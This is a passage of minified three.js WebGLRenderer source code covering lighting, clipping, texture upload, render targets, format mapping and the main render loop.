v=pt.get(o);v.position.setFromMatrixPosition(o.matrixWorld),v.position.applyMatrix4(d),v.color.copy(o.color).multiplyScalar(o.intensity),v.distance=o.distance,v.decay=0===o.distance?0:o.decay,v.shadow=o.castShadow,o.castShadow&&(v.shadowBias=o.shadow.bias,v.shadowRadius=o.shadow.radius,v.shadowMapSize=o.shadow.mapSize),et.pointShadowMap[f]=o.shadow.map,void 0===et.pointShadowMatrix[f]&&(et.pointShadowMatrix[f]=new n.Matrix4),$e.setFromMatrixPosition(o.matrixWorld).negate(),et.pointShadowMatrix[f].identity().setPosition($e),et.point[f++]=v}else if(o instanceof n.HemisphereLight){var v=pt.get(o);v.direction.setFromMatrixPosition(o.matrixWorld),v.direction.transformDirection(d),v.direction.normalize(),v.skyColor.copy(o.color).multiplyScalar(s),v.groundColor.copy(o.groundColor).multiplyScalar(s),et.hemi[g++]=v}et.ambient[0]=u,et.ambient[1]=l,et.ambient[2]=h,et.directional.length=p,et.spot.length=m,et.point.length=f,et.hemi.length=g,et.hash=p+","+f+","+m+","+g+","+et.shadows.length}function B(e,t){Ge=0!==we.clippingPlanes.length||we.localClippingEnabled||0!==Xe||Ve,Ve=we.localClippingEnabled,We=U(e,t,0),Xe=null!==e?e.length:0}function U(e,t,i,r){var n=null!==e?e.length:0,o=null;if(0!==n){if(o=He.value,r!==!0||null===o){var a=i+4*n,s=t.matrixWorldInverse,c=qe.getNormalMatrix(s);(null===o||o.length<a)&&(o=new Float32Array(a));for(var u=0,l=i;u!==n;++u,l+=4){var h=Ke.copy(e[u]).applyMatrix4(s,c);h.normal.toArray(o,l),o[l+3]=h.constant}}He.value=o,He.needsUpdate=!0}return Ye=n,o}function P(){He.value!==We&&(He.value=We,He.needsUpdate=Xe>0),Ye=Xe}function F(e,t,i,r,n){if(!Ve||null===e||0===e.length||Qe&&!t)Qe?U(null):P();else{var o=Qe?0:Xe,a=4*o,s=r.clippingState||null;He.value=s,s=U(e,i,a,n);for(var c=0;c!==a;++c)s[c]=We[c];r.clippingState=s,Ye+=o}}function G(){var e=je;return e>=ct.maxTextures&&console.warn("WebGLRenderer: trying to use "+e+" texture units while this GPU supports only "+ct.maxTextures),je+=1,e}function V(e,t,i){var r;if(i?(rt.texParameteri(e,rt.TEXTURE_WRAP_S,oe(t.wrapS)),rt.texParameteri(e,rt.TEXTURE_WRAP_T,oe(t.wrapT)),rt.texParameteri(e,rt.TEXTURE_MAG_FILTER,oe(t.magFilter)),rt.texParameteri(e,rt.TEXTURE_MIN_FILTER,oe(t.minFilter))):(rt.texParameteri(e,rt.TEXTURE_WRAP_S,rt.CLAMP_TO_EDGE),rt.texParameteri(e,rt.TEXTURE_WRAP_T,rt.CLAMP_TO_EDGE),(t.wrapS!==n.ClampToEdgeWrapping||t.wrapT!==n.ClampToEdgeWrapping)&&console.warn("THREE.WebGLRenderer: Texture is not power of two. Texture.wrapS and Texture.wrapT should be set to THREE.ClampToEdgeWrapping.",t),rt.texParameteri(e,rt.TEXTURE_MAG_FILTER,ne(t.magFilter)),rt.texParameteri(e,rt.TEXTURE_MIN_FILTER,ne(t.minFilter)),t.minFilter!==n.NearestFilter&&t.minFilter!==n.LinearFilter&&console.warn("THREE.WebGLRenderer: Texture is not power of two. Texture.minFilter should be set to THREE.NearestFilter or THREE.LinearFilter.",t)),r=st.get("EXT_texture_filter_anisotropic")){if(t.type===n.FloatType&&null===st.get("OES_texture_float_linear"))return;if(t.type===n.HalfFloatType&&null===st.get("OES_texture_half_float_linear"))return;(t.anisotropy>1||lt.get(t).__currentAnisotropy)&&(rt.texParameterf(e,r.TEXTURE_MAX_ANISOTROPY_EXT,Math.min(t.anisotropy,we.getMaxAnisotropy())),lt.get(t).__currentAnisotropy=t.anisotropy)}}function Q(e,t,i){void 0===e.__webglInit&&(e.__webglInit=!0,t.addEventListener("dispose",s),e.__webglTexture=rt.createTexture(),tt.textures++),ut.activeTexture(rt.TEXTURE0+i),ut.bindTexture(rt.TEXTURE_2D,e.__webglTexture),rt.pixelStorei(rt.UNPACK_FLIP_Y_WEBGL,t.flipY),rt.pixelStorei(rt.UNPACK_PREMULTIPLY_ALPHA_WEBGL,t.premultiplyAlpha),rt.pixelStorei(rt.UNPACK_ALIGNMENT,t.unpackAlignment);var r=H(t.image,ct.maxTextureSize);X(t)&&W(r)===!1&&(r=q(r));var o=W(r),a=oe(t.format),c=oe(t.type);V(rt.TEXTURE_2D,t,o);var u,l=t.mipmaps;if(t instanceof n.DepthTexture){var h=rt.DEPTH_COMPONENT;if(t.type===n.FloatType){if(!at)throw new Error("Float Depth Texture only supported in WebGL2.0");h=rt.DEPTH_COMPONENT32F}else at&&(h=rt.DEPTH_COMPONENT16);ut.texImage2D(rt.TEXTURE_2D,0,h,r.width,r.height,0,a,c,null)}else if(t instanceof n.DataTexture)if(l.length>0&&o){for(var d=0,p=l.length;p>d;d++)u=l[d],ut.texImage2D(rt.TEXTURE_2D,d,a,u.width,u.height,0,a,c,u.data);t.generateMipmaps=!1}else ut.texImage2D(rt.TEXTURE_2D,0,a,r.width,r.height,0,a,c,r.data);else if(t instanceof n.CompressedTexture)for(var d=0,p=l.length;p>d;d++)u=l[d],t.format!==n.RGBAFormat&&t.format!==n.RGBFormat?ut.getCompressedTextureFormats().indexOf(a)>-1?ut.compressedTexImage2D(rt.TEXTURE_2D,d,a,u.width,u.height,0,u.data):console.warn("THREE.WebGLRenderer: Attempt to load unsupported compressed texture format in .uploadTexture()"):ut.texImage2D(rt.TEXTURE_2D,d,a,u.width,u.height,0,a,c,u.data);else if(l.length>0&&o){for(var d=0,p=l.length;p>d;d++)u=l[d],ut.texImage2D(rt.TEXTURE_2D,d,a,a,c,u);t.generateMipmaps=!1}else ut.texImage2D(rt.TEXTURE_2D,0,a,a,c,r);t.generateMipmaps&&o&&rt.generateMipmap(rt.TEXTURE_2D),e.__version=t.version,t.onUpdate&&t.onUpdate(t)}function Y(e,t){e instanceof n.WebGLRenderTarget&&(e=e.texture);var i=lt.get(e);if(e.version>0&&i.__version!==e.version){var r=e.image;return void 0===r?void console.warn("THREE.WebGLRenderer: Texture marked for update but image is undefined",e):r.complete===!1?void console.warn("THREE.WebGLRenderer: Texture marked for update but image is incomplete",e):void Q(i,e,t)}ut.activeTexture(rt.TEXTURE0+t),ut.bindTexture(rt.TEXTURE_2D,i.__webglTexture)}function H(e,t){if(e.width>t||e.height>t){var i=t/Math.max(e.width,e.height),r=document.createElement("canvas");r.width=Math.floor(e.width*i),r.height=Math.floor(e.height*i);var n=r.getContext("2d");return n.drawImage(e,0,0,e.width,e.height,0,0,r.width,r.height),console.warn("THREE.WebGLRenderer: image is too big ("+e.width+"x"+e.height+"). Resized to "+r.width+"x"+r.height,e),r}return e}function W(e){return n.Math.isPowerOfTwo(e.width)&&n.Math.isPowerOfTwo(e.height)}function X(e){return e.wrapS!==n.ClampToEdgeWrapping||e.wrapT!==n.ClampToEdgeWrapping?!0:e.minFilter!==n.NearestFilter&&e.minFilter!==n.LinearFilter?!0:!1;
}function q(e){if(e instanceof HTMLImageElement||e instanceof HTMLCanvasElement){var t=document.createElement("canvas");t.width=n.Math.nearestPowerOfTwo(e.width),t.height=n.Math.nearestPowerOfTwo(e.height);var i=t.getContext("2d");return i.drawImage(e,0,0,t.width,t.height),console.warn("THREE.WebGLRenderer: image is not power of two ("+e.width+"x"+e.height+"). Resized to "+t.width+"x"+t.height,e),t}return e}function Z(e,t){var i=lt.get(e);if(6===e.image.length)if(e.version>0&&i.__version!==e.version){i.__image__webglTextureCube||(e.addEventListener("dispose",s),i.__image__webglTextureCube=rt.createTexture(),tt.textures++),ut.activeTexture(rt.TEXTURE0+t),ut.bindTexture(rt.TEXTURE_CUBE_MAP,i.__image__webglTextureCube),rt.pixelStorei(rt.UNPACK_FLIP_Y_WEBGL,e.flipY);for(var r=e instanceof n.CompressedTexture,o=e.image[0]instanceof n.DataTexture,a=[],c=0;6>c;c++)a[c]=!we.autoScaleCubemaps||r||o?o?e.image[c].image:e.image[c]:H(e.image[c],ct.maxCubemapSize);var u=a[0],l=W(u),h=oe(e.format),d=oe(e.type);V(rt.TEXTURE_CUBE_MAP,e,l);for(var c=0;6>c;c++)if(r)for(var p,f=a[c].mipmaps,m=0,g=f.length;g>m;m++)p=f[m],e.format!==n.RGBAFormat&&e.format!==n.RGBFormat?ut.getCompressedTextureFormats().indexOf(h)>-1?ut.compressedTexImage2D(rt.TEXTURE_CUBE_MAP_POSITIVE_X+c,m,h,p.width,p.height,0,p.data):console.warn("THREE.WebGLRenderer: Attempt to load unsupported compressed texture format in .setCubeTexture()"):ut.texImage2D(rt.TEXTURE_CUBE_MAP_POSITIVE_X+c,m,h,p.width,p.height,0,h,d,p.data);else o?ut.texImage2D(rt.TEXTURE_CUBE_MAP_POSITIVE_X+c,0,h,a[c].width,a[c].height,0,h,d,a[c].data):ut.texImage2D(rt.TEXTURE_CUBE_MAP_POSITIVE_X+c,0,h,h,d,a[c]);e.generateMipmaps&&l&&rt.generateMipmap(rt.TEXTURE_CUBE_MAP),i.__version=e.version,e.onUpdate&&e.onUpdate(e)}else ut.activeTexture(rt.TEXTURE0+t),ut.bindTexture(rt.TEXTURE_CUBE_MAP,i.__image__webglTextureCube)}function K(e,t){ut.activeTexture(rt.TEXTURE0+t),ut.bindTexture(rt.TEXTURE_CUBE_MAP,lt.get(e).__webglTexture)}function J(e,t,i,r){var n=oe(t.texture.format),o=oe(t.texture.type);ut.texImage2D(r,0,n,t.width,t.height,0,n,o,null),rt.bindFramebuffer(rt.FRAMEBUFFER,e),rt.framebufferTexture2D(rt.FRAMEBUFFER,i,r,lt.get(t.texture).__webglTexture,0),rt.bindFramebuffer(rt.FRAMEBUFFER,null)}function $(e,t){rt.bindRenderbuffer(rt.RENDERBUFFER,e),t.depthBuffer&&!t.stencilBuffer?(rt.renderbufferStorage(rt.RENDERBUFFER,rt.DEPTH_COMPONENT16,t.width,t.height),rt.framebufferRenderbuffer(rt.FRAMEBUFFER,rt.DEPTH_ATTACHMENT,rt.RENDERBUFFER,e)):t.depthBuffer&&t.stencilBuffer?(rt.renderbufferStorage(rt.RENDERBUFFER,rt.DEPTH_STENCIL,t.width,t.height),rt.framebufferRenderbuffer(rt.FRAMEBUFFER,rt.DEPTH_STENCIL_ATTACHMENT,rt.RENDERBUFFER,e)):rt.renderbufferStorage(rt.RENDERBUFFER,rt.RGBA4,t.width,t.height),rt.bindRenderbuffer(rt.RENDERBUFFER,null)}function ee(e,t){var i=t instanceof n.WebGLRenderTargetCube;if(i)throw new Error("Depth Texture with cube render targets is not supported!");if(rt.bindFramebuffer(rt.FRAMEBUFFER,e),!(t.depthTexture instanceof n.DepthTexture))throw new Error("renderTarget.depthTexture must be an instance of THREE.DepthTexture");lt.get(t.depthTexture).__webglTexture&&t.depthTexture.image.width===t.width&&t.depthTexture.image.height===t.height||(t.depthTexture.image.width=t.width,t.depthTexture.image.height=t.height,t.depthTexture.needsUpdate=!0),we.setTexture(t.depthTexture,0);var r=lt.get(t.depthTexture).__webglTexture;rt.framebufferTexture2D(rt.FRAMEBUFFER,rt.DEPTH_ATTACHMENT,rt.TEXTURE_2D,r,0)}function te(e){var t=lt.get(e),i=e instanceof n.WebGLRenderTargetCube;if(e.depthTexture){if(i)throw new Error("target.depthTexture not supported in Cube render targets");ee(t.__webglFramebuffer,e)}else if(i){t.__webglDepthbuffer=[];for(var r=0;6>r;r++)rt.bindFramebuffer(rt.FRAMEBUFFER,t.__webglFramebuffer[r]),t.__webglDepthbuffer[r]=rt.createRenderbuffer(),$(t.__webglDepthbuffer[r],e)}else rt.bindFramebuffer(rt.FRAMEBUFFER,t.__webglFramebuffer),t.__webglDepthbuffer=rt.createRenderbuffer(),$(t.__webglDepthbuffer,e);rt.bindFramebuffer(rt.FRAMEBUFFER,null)}function ie(e){var t=lt.get(e),i=lt.get(e.texture);e.addEventListener("dispose",c),i.__webglTexture=rt.createTexture(),tt.textures++;var r=e instanceof n.WebGLRenderTargetCube,o=n.Math.isPowerOfTwo(e.width)&&n.Math.isPowerOfTwo(e.height);if(r){t.__webglFramebuffer=[];for(var a=0;6>a;a++)t.__webglFramebuffer[a]=rt.createFramebuffer()}else t.__webglFramebuffer=rt.createFramebuffer();if(r){ut.bindTexture(rt.TEXTURE_CUBE_MAP,i.__webglTexture),V(rt.TEXTURE_CUBE_MAP,e.texture,o);for(var a=0;6>a;a++)J(t.__webglFramebuffer[a],e,rt.COLOR_ATTACHMENT0,rt.TEXTURE_CUBE_MAP_POSITIVE_X+a);e.texture.generateMipmaps&&o&&rt.generateMipmap(rt.TEXTURE_CUBE_MAP),ut.bindTexture(rt.TEXTURE_CUBE_MAP,null)}else ut.bindTexture(rt.TEXTURE_2D,i.__webglTexture),V(rt.TEXTURE_2D,e.texture,o),J(t.__webglFramebuffer,e,rt.COLOR_ATTACHMENT0,rt.TEXTURE_2D),e.texture.generateMipmaps&&o&&rt.generateMipmap(rt.TEXTURE_2D),ut.bindTexture(rt.TEXTURE_2D,null);e.depthBuffer&&te(e)}function re(e){var t=e instanceof n.WebGLRenderTargetCube?rt.TEXTURE_CUBE_MAP:rt.TEXTURE_2D,i=lt.get(e.texture).__webglTexture;ut.bindTexture(t,i),rt.generateMipmap(t),ut.bindTexture(t,null)}function ne(e){return e===n.NearestFilter||e===n.NearestMipMapNearestFilter||e===n.NearestMipMapLinearFilter?rt.NEAREST:rt.LINEAR}function oe(e){var t;if(e===n.RepeatWrapping)return rt.REPEAT;if(e===n.ClampToEdgeWrapping)return rt.CLAMP_TO_EDGE;if(e===n.MirroredRepeatWrapping)return rt.MIRRORED_REPEAT;if(e===n.NearestFilter)return rt.NEAREST;if(e===n.NearestMipMapNearestFilter)return rt.NEAREST_MIPMAP_NEAREST;if(e===n.NearestMipMapLinearFilter)return rt.NEAREST_MIPMAP_LINEAR;if(e===n.LinearFilter)return rt.LINEAR;if(e===n.LinearMipMapNearestFilter)return rt.LINEAR_MIPMAP_NEAREST;if(e===n.LinearMipMapLinearFilter)return rt.LINEAR_MIPMAP_LINEAR;if(e===n.UnsignedByteType)return rt.UNSIGNED_BYTE;if(e===n.UnsignedShort4444Type)return rt.UNSIGNED_SHORT_4_4_4_4;if(e===n.UnsignedShort5551Type)return rt.UNSIGNED_SHORT_5_5_5_1;if(e===n.UnsignedShort565Type)return rt.UNSIGNED_SHORT_5_6_5;if(e===n.ByteType)return rt.BYTE;if(e===n.ShortType)return rt.SHORT;if(e===n.UnsignedShortType)return rt.UNSIGNED_SHORT;if(e===n.IntType)return rt.INT;if(e===n.UnsignedIntType)return rt.UNSIGNED_INT;if(e===n.FloatType)return rt.FLOAT;if(t=st.get("OES_texture_half_float"),null!==t&&e===n.HalfFloatType)return t.HALF_FLOAT_OES;if(e===n.AlphaFormat)return rt.ALPHA;if(e===n.RGBFormat)return rt.RGB;if(e===n.RGBAFormat)return rt.RGBA;if(e===n.LuminanceFormat)return rt.LUMINANCE;if(e===n.LuminanceAlphaFormat)return rt.LUMINANCE_ALPHA;if(e===n.DepthFormat)return rt.DEPTH_COMPONENT;if(e===n.AddEquation)return rt.FUNC_ADD;if(e===n.SubtractEquation)return rt.FUNC_SUBTRACT;if(e===n.ReverseSubtractEquation)return rt.FUNC_REVERSE_SUBTRACT;if(e===n.ZeroFactor)return rt.ZERO;if(e===n.OneFactor)return rt.ONE;if(e===n.SrcColorFactor)return rt.SRC_COLOR;if(e===n.OneMinusSrcColorFactor)return rt.ONE_MINUS_SRC_COLOR;if(e===n.SrcAlphaFactor)return rt.SRC_ALPHA;if(e===n.OneMinusSrcAlphaFactor)return rt.ONE_MINUS_SRC_ALPHA;if(e===n.DstAlphaFactor)return rt.DST_ALPHA;if(e===n.OneMinusDstAlphaFactor)return rt.ONE_MINUS_DST_ALPHA;if(e===n.DstColorFactor)return rt.DST_COLOR;if(e===n.OneMinusDstColorFactor)return rt.ONE_MINUS_DST_COLOR;if(e===n.SrcAlphaSaturateFactor)return rt.SRC_ALPHA_SATURATE;if(t=st.get("WEBGL_compressed_texture_s3tc"),null!==t){if(e===n.RGB_S3TC_DXT1_Format)return t.COMPRESSED_RGB_S3TC_DXT1_EXT;if(e===n.RGBA_S3TC_DXT1_Format)return t.COMPRESSED_RGBA_S3TC_DXT1_EXT;if(e===n.RGBA_S3TC_DXT3_Format)return t.COMPRESSED_RGBA_S3TC_DXT3_EXT;if(e===n.RGBA_S3TC_DXT5_Format)return t.COMPRESSED_RGBA_S3TC_DXT5_EXT}if(t=st.get("WEBGL_compressed_texture_pvrtc"),null!==t){if(e===n.RGB_PVRTC_4BPPV1_Format)return t.COMPRESSED_RGB_PVRTC_4BPPV1_IMG;if(e===n.RGB_PVRTC_2BPPV1_Format)return t.COMPRESSED_RGB_PVRTC_2BPPV1_IMG;if(e===n.RGBA_PVRTC_4BPPV1_Format)return t.COMPRESSED_RGBA_PVRTC_4BPPV1_IMG;if(e===n.RGBA_PVRTC_2BPPV1_Format)return t.COMPRESSED_RGBA_PVRTC_2BPPV1_IMG}if(t=st.get("WEBGL_compressed_texture_etc1"),null!==t&&e===n.RGB_ETC1_Format)return t.COMPRESSED_RGB_ETC1_WEBGL;if(t=st.get("EXT_blend_minmax"),null!==t){if(e===n.MinEquation)return t.MIN_EXT;if(e===n.MaxEquation)return t.MAX_EXT}return 0}console.log("THREE.WebGLRenderer",n.REVISION),e=e||{};var ae=void 0!==e.canvas?e.canvas:document.createElement("canvas"),se=void 0!==e.context?e.context:null,ce=void 0!==e.alpha?e.alpha:!1,ue=void 0!==e.depth?e.depth:!0,le=void 0!==e.stencil?e.stencil:!0,he=void 0!==e.antialias?e.antialias:!1,de=void 0!==e.premultipliedAlpha?e.premultipliedAlpha:!0,pe=void 0!==e.preserveDrawingBuffer?e.preserveDrawingBuffer:!1,fe=[],me=[],ge=-1,ve=[],ye=-1,Me=new Float32Array(8),Ae=[],xe=[];this.domElement=ae,this.context=null,this.autoClear=!0,this.autoClearColor=!0,this.autoClearDepth=!0,this.autoClearStencil=!0,this.sortObjects=!0,this.clippingPlanes=[],this.localClippingEnabled=!1,this.gammaFactor=2,this.gammaInput=!1,this.gammaOutput=!1,this.physicallyCorrectLights=!1,this.toneMapping=n.LinearToneMapping,this.toneMappingExposure=1,this.toneMappingWhitePoint=1,this.maxMorphTargets=8,this.maxMorphNormals=4,this.autoScaleCubemaps=!0;var we=this,Ee=null,be=null,Te=null,Le=-1,De="",Ne=null,Se=new n.Vector4,Ce=null,Ie=new n.Vector4,je=0,_e=new n.Color(0),Oe=0,ze=ae.width,ke=ae.height,Re=1,Be=new n.Vector4(0,0,ze,ke),Ue=!1,Pe=new n.Vector4(0,0,ze,ke),Fe=new n.Frustum,Ge=!1,Ve=!1,Qe=!1,Ye=0,He={type:"4fv",value:null,needsUpdate:!1},We=null,Xe=0,qe=new n.Matrix3,Ze=new n.Sphere,Ke=new n.Plane,Je=new n.Matrix4,$e=new n.Vector3,et={hash:"",ambient:[0,0,0],directional:[],directionalShadowMap:[],directionalShadowMatrix:[],spot:[],spotShadowMap:[],spotShadowMatrix:[],point:[],pointShadowMap:[],pointShadowMatrix:[],hemi:[],shadows:[]},tt={geometries:0,textures:0},it={calls:0,vertices:0,faces:0,points:0};this.info={render:it,memory:tt,programs:null};var rt;try{var nt={alpha:ce,depth:ue,stencil:le,antialias:he,premultipliedAlpha:de,preserveDrawingBuffer:pe};if(rt=se||ae.getContext("webgl",nt)||ae.getContext("experimental-webgl",nt),null===rt)throw null!==ae.getContext("webgl")?"Error creating WebGL context with your selected attributes.":"Error creating WebGL context.";void 0===rt.getShaderPrecisionFormat&&(rt.getShaderPrecisionFormat=function(){return{rangeMin:1,rangeMax:1,precision:1}}),ae.addEventListener("webglcontextlost",a,!1)}catch(ot){console.error("THREE.WebGLRenderer: "+ot)}var at="undefined"!=typeof WebGL2RenderingContext&&rt instanceof WebGL2RenderingContext,st=new n.WebGLExtensions(rt);st.get("WEBGL_depth_texture"),st.get("OES_texture_float"),st.get("OES_texture_float_linear"),st.get("OES_texture_half_float"),st.get("OES_texture_half_float_linear"),st.get("OES_standard_derivatives"),st.get("ANGLE_instanced_arrays"),st.get("OES_element_index_uint")&&(n.BufferGeometry.MaxIndex=4294967296);var ct=new n.WebGLCapabilities(rt,st,e),ut=new n.WebGLState(rt,st,oe),lt=new n.WebGLProperties,ht=new n.WebGLObjects(rt,lt,this.info),dt=new n.WebGLPrograms(this,ct),pt=new n.WebGLLights;this.info.programs=dt.programs;var ft=new n.WebGLBufferRenderer(rt,st,it),mt=new n.WebGLIndexedBufferRenderer(rt,st,it);r(),this.context=rt,this.capabilities=ct,this.extensions=st,this.properties=lt,this.state=ut;var gt=new n.WebGLShadowMap(this,et,ht);this.shadowMap=gt;var vt=new n.SpritePlugin(this,Ae),yt=new n.LensFlarePlugin(this,xe);this.getContext=function(){return rt},this.getContextAttributes=function(){return rt.getContextAttributes()},this.forceContextLoss=function(){st.get("WEBGL_lose_context").loseContext()},this.getMaxAnisotropy=function(){var e;return function(){if(void 0!==e)return e;var t=st.get("EXT_texture_filter_anisotropic");return e=null!==t?rt.getParameter(t.MAX_TEXTURE_MAX_ANISOTROPY_EXT):0}}(),this.getPrecision=function(){return ct.precision},this.getPixelRatio=function(){return Re},this.setPixelRatio=function(e){void 0!==e&&(Re=e,this.setSize(Pe.z,Pe.w,!1))},this.getSize=function(){return{width:ze,height:ke}},this.setSize=function(e,t,i){ze=e,ke=t,ae.width=e*Re,ae.height=t*Re,i!==!1&&(ae.style.width=e+"px",ae.style.height=t+"px"),this.setViewport(0,0,e,t)},this.setViewport=function(e,t,i,r){ut.viewport(Pe.set(e,t,i,r))},this.setScissor=function(e,t,i,r){ut.scissor(Be.set(e,t,i,r))},this.setScissorTest=function(e){ut.setScissorTest(Ue=e)},this.getClearColor=function(){return _e},this.setClearColor=function(e,t){_e.set(e),Oe=void 0!==t?t:1,i(_e.r,_e.g,_e.b,Oe)},this.getClearAlpha=function(){return Oe},this.setClearAlpha=function(e){Oe=e,i(_e.r,_e.g,_e.b,Oe)},this.clear=function(e,t,i){var r=0;(void 0===e||e)&&(r|=rt.COLOR_BUFFER_BIT),(void 0===t||t)&&(r|=rt.DEPTH_BUFFER_BIT),(void 0===i||i)&&(r|=rt.STENCIL_BUFFER_BIT),rt.clear(r)},this.clearColor=function(){this.clear(!0,!1,!1)},this.clearDepth=function(){this.clear(!1,!0,!1)},this.clearStencil=function(){this.clear(!1,!1,!0)},this.clearTarget=function(e,t,i,r){this.setRenderTarget(e),this.clear(t,i,r)},this.resetGLState=o,this.dispose=function(){ae.removeEventListener("webglcontextlost",a,!1)},this.renderBufferImmediate=function(e,t,i){ut.initAttributes();var r=lt.get(e);e.hasPositions&&!r.position&&(r.position=rt.createBuffer()),e.hasNormals&&!r.normal&&(r.normal=rt.createBuffer()),e.hasUvs&&!r.uv&&(r.uv=rt.createBuffer()),e.hasColors&&!r.color&&(r.color=rt.createBuffer());var o=t.getAttributes();if(e.hasPositions&&(rt.bindBuffer(rt.ARRAY_BUFFER,r.position),rt.bufferData(rt.ARRAY_BUFFER,e.positionArray,rt.DYNAMIC_DRAW),ut.enableAttribute(o.position),rt.vertexAttribPointer(o.position,3,rt.FLOAT,!1,0,0)),e.hasNormals){if(rt.bindBuffer(rt.ARRAY_BUFFER,r.normal),"MeshPhongMaterial"!==i.type&&"MeshStandardMaterial"!==i.type&&"MeshPhysicalMaterial"!==i.type&&i.shading===n.FlatShading)for(var a=0,s=3*e.count;s>a;a+=9){var c=e.normalArray,u=(c[a+0]+c[a+3]+c[a+6])/3,l=(c[a+1]+c[a+4]+c[a+7])/3,h=(c[a+2]+c[a+5]+c[a+8])/3;c[a+0]=u,c[a+1]=l,c[a+2]=h,c[a+3]=u,c[a+4]=l,c[a+5]=h,c[a+6]=u,c[a+7]=l,c[a+8]=h}rt.bufferData(rt.ARRAY_BUFFER,e.normalArray,rt.DYNAMIC_DRAW),ut.enableAttribute(o.normal),rt.vertexAttribPointer(o.normal,3,rt.FLOAT,!1,0,0)}e.hasUvs&&i.map&&(rt.bindBuffer(rt.ARRAY_BUFFER,r.uv),rt.bufferData(rt.ARRAY_BUFFER,e.uvArray,rt.DYNAMIC_DRAW),ut.enableAttribute(o.uv),rt.vertexAttribPointer(o.uv,2,rt.FLOAT,!1,0,0)),e.hasColors&&i.vertexColors!==n.NoColors&&(rt.bindBuffer(rt.ARRAY_BUFFER,r.color),rt.bufferData(rt.ARRAY_BUFFER,e.colorArray,rt.DYNAMIC_DRAW),ut.enableAttribute(o.color),rt.vertexAttribPointer(o.color,3,rt.FLOAT,!1,0,0)),ut.disableUnusedAttributes(),rt.drawArrays(rt.TRIANGLES,0,e.count),e.count=0},this.renderBufferDirect=function(e,i,r,o,a,s){E(o);var c=T(e,i,o,a),u=!1,l=r.id+"_"+c.id+"_"+o.wireframe;l!==De&&(De=l,u=!0);var h=a.morphTargetInfluences;if(void 0!==h){for(var d=[],p=0,g=h.length;g>p;p++){var v=h[p];d.push([v,p])}d.sort(m),d.length>8&&(d.length=8);for(var y=r.morphAttributes,p=0,g=d.length;g>p;p++){var v=d[p];if(Me[p]=v[0],0!==v[0]){var M=v[1];o.morphTargets===!0&&y.position&&r.addAttribute("morphTarget"+p,y.position[M]),o.morphNormals===!0&&y.normal&&r.addAttribute("morphNormal"+p,y.normal[M])}else o.morphTargets===!0&&r.removeAttribute("morphTarget"+p),o.morphNormals===!0&&r.removeAttribute("morphNormal"+p)}c.getUniforms().setValue(rt,"morphTargetInfluences",Me),u=!0}var M=r.index,A=r.attributes.position;o.wireframe===!0&&(M=ht.getWireframeAttribute(r));var x;null!==M?(x=mt,x.setIndex(M)):x=ft,u&&(f(o,c,r),null!==M&&rt.bindBuffer(rt.ELEMENT_ARRAY_BUFFER,ht.getAttributeBuffer(M)));var w=0,b=1/0;null!==M?b=M.count:void 0!==A&&(b=A.count);var L=r.drawRange.start,D=r.drawRange.count,N=null!==s?s.start:0,S=null!==s?s.count:1/0,C=Math.max(w,L,N),I=Math.min(w+b,L+D,N+S)-1,j=Math.max(0,I-C+1);if(a instanceof n.Mesh)if(o.wireframe===!0)ut.setLineWidth(o.wireframeLinewidth*t()),x.setMode(rt.LINES);else switch(a.drawMode){case n.TrianglesDrawMode:x.setMode(rt.TRIANGLES);break;case n.TriangleStripDrawMode:x.setMode(rt.TRIANGLE_STRIP);break;case n.TriangleFanDrawMode:x.setMode(rt.TRIANGLE_FAN)}else if(a instanceof n.Line){var _=o.linewidth;void 0===_&&(_=1),ut.setLineWidth(_*t()),x.setMode(a instanceof n.LineSegments?rt.LINES:rt.LINE_STRIP)}else a instanceof n.Points&&x.setMode(rt.POINTS);r instanceof n.InstancedBufferGeometry?r.maxInstancedCount>0&&x.renderInstances(r,C,j):x.render(C,j)},this.render=function(e,t,i,r){if(t instanceof n.Camera==!1)return void console.error("THREE.WebGLRenderer.render: camera is not an instance of THREE.Camera.");var o=e.fog;if(De="",Le=-1,Ne=null,e.autoUpdate===!0&&e.updateMatrixWorld(),null===t.parent&&t.updateMatrixWorld(),t.matrixWorldInverse.getInverse(t.matrixWorld),Je.multiplyMatrices(t.projectionMatrix,t.matrixWorldInverse),Fe.setFromMatrix(Je),fe.length=0,ge=-1,ye=-1,Ae.length=0,xe.length=0,B(this.clippingPlanes,t),A(e,t),me.length=ge+1,ve.length=ye+1,we.sortObjects===!0&&(me.sort(g),ve.sort(v)),Ge&&(Qe=!0,U(null)),k(fe),gt.render(e,t),R(fe,t),Ge&&(Qe=!1,P()),it.calls=0,it.vertices=0,it.faces=0,it.points=0,void 0===i&&(i=null),this.setRenderTarget(i),(this.autoClear||r)&&this.clear(this.autoClearColor,this.autoClearDepth,this.autoClearStencil),e.overrideMaterial){var a=e.overrideMaterial;x(me,t,o,a),x(ve,t,o,a)}else ut.setBlending(n.NoBlending),x(me,t,o),x(ve,t,o);if(vt.render(e,t),yt.render(e,t,Ie),i){var s=i.texture;s.generateMipmaps&&W(i)&&s.minFilter!==n.NearestFilter&&s.minFilter!==n.LinearFilter&&re(i)}ut.setDepthTest(!0),ut.setDepthWrite(!0),ut.setColorWrite(!0)},this.setFaceCulling=function(e,t){e===n.CullFaceNone?ut.disable(rt.CULL_FACE):(rt.frontFace(t===n.FrontFaceDirectionCW?rt.CW:rt.CCW),rt.cullFace(e===n.CullFaceBack?rt.BACK:e===n.CullFaceFront?rt.FRONT:rt.FRONT_AND_BACK),ut.enable(rt.CULL_FACE))};var Mt=!1;this.setTexture=function(e,t){Mt||(console.warn("THREE.WebGLRenderer: .setTexture is deprecated, use setTexture2D instead."),Mt=!0),Y(e,t)},this.allocTextureUnit=G,this.setTexture2D=Y,this.setTextureCube=function(e,t){e instanceof n.CubeTexture||Array.isArray(e.image)&&6===e.image.length?Z(e,t):K(e.texture,t)},this.getCurrentRenderTarget=function(){return be},this.setRenderTarget=function(e){be=e,e&&void 0===lt.get(e).__webglFramebuffer&&ie(e);var t,i=e instanceof n.WebGLRenderTargetCube;if(e){var r=lt.get(e);t=i?r.__webglFramebuffer[e.activeCubeFace]:r.__webglFramebuffer,Se.copy(e.scissor),Ce=e.scissorTest,Ie.copy(e.viewport)}else t=null,Se.copy(Be).multiplyScalar(Re),Ce=Ue,Ie.copy(Pe).multiplyScalar(Re);if(Te!==t&&(rt.bindFramebuffer(rt.FRAMEBUFFER,t),Te=t),ut.scissor(Se),ut.setScissorTest(Ce),ut.viewport(Ie),i){var 